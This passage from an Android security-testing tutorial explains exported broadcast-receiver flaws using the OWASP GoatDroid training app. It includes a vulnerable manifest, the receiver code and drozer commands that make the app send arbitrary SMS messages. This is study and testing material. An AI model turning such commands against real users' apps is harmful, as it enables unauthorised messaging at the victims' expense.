Broadcast receivers respond to hardware- and software-level events; they get notifications for these events via intents. Often, broadcast receivers may use information sent via intents to perform sensitive operations and do so in a way that can be maliciously influenced by the data being broadcast or received.

When exploiting a broadcast receiver, the challenge is determining whether or not the input is trusted and how badly. For this, you may need to effectively fuzz the intent filter definitions for the broadcast receivers in your target application or read the actual code, if you manage to get your hands on it, to find out what kind of data the receiver operates on and how.

As with the previous recipes, here we are going to see a sample of a classic vulnerable broadcast receivers. The following sample, too, is from the OWASP GoatDroid project:

 <receiver
    android:name=".broadcastreceivers.SendSMSNowReceiver"
    android:label="Send SMS" >
    <intent-filter>
        <action android:name="org.owasp.goatdroid.fourgoats.SOCIAL_SMS" />
    </intent-filter>
</receiver>
</application>

    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.CALL_PHONE" />
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
    <uses-permission android:name="android.permission.INTERNET" />

</manifest>

The key issue in the code is that this application will be granted the android.permission.SEND_SMS permission while leaving its .SendSMSNowReceiver vulnerable receiver, without the protection of appropriate permissions and exposed to other applications.

This is not all there is to these kinds of vulnerabilities; there is another part. Just because the receiver leaves other applications to interact with it doesn't necessarily mean that it's exploitable; to verify whether its exploitable, you can actually try firing off some of the commands discussed later in the recipe and—if possible—read some of the source code for the receiver.

The following is the code that determines how the receiver handles the org.owasp.goatdroid.fourgoats.SOCIAL_SMS actions:

public void onReceive(Context arg0, Intent arg1) {
  context = arg0;
  SmsManager sms = SmsManager.getDefault();

  Bundle bundle = arg1.getExtras();
  sms.sendTextMessage(bundle.getString("phoneNumber"), null,
    bundle.getString("message"), null, null);
    Utils.makeToast(context, Constants.TEXT_MESSAGE_SENT, Toast.LENGTH_LONG);
}

The key issue in the code is that the receiver takes values straight from the bundle object without first checking the calling application or the values being supplied and plugs it into a sendTextMessage call. This basically means any application will be able to send arbitrary, uncontrolled SMSs.

Okay, so that's what a classic broadcast receiver vulnerability looks like; let's look at how one exploits these vulnerabilities practically, using drozer.

dz> run app.broadcast.send –-action [ACTION] –-category [CATEGORY] –-component [PACKAGE COMPONENT] –data-uri [DATA_URI] –extra [TYPE KEY VALUE] –flags [FLAGS*] –mimetype [MIMETYPE]

dz> run app.broadcast.send –-action org.owasp.goatdroid.fourgoats.SOCIAL_SMS –-component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver –-extra string phoneNumber 1234567890 –-extra string message PWNED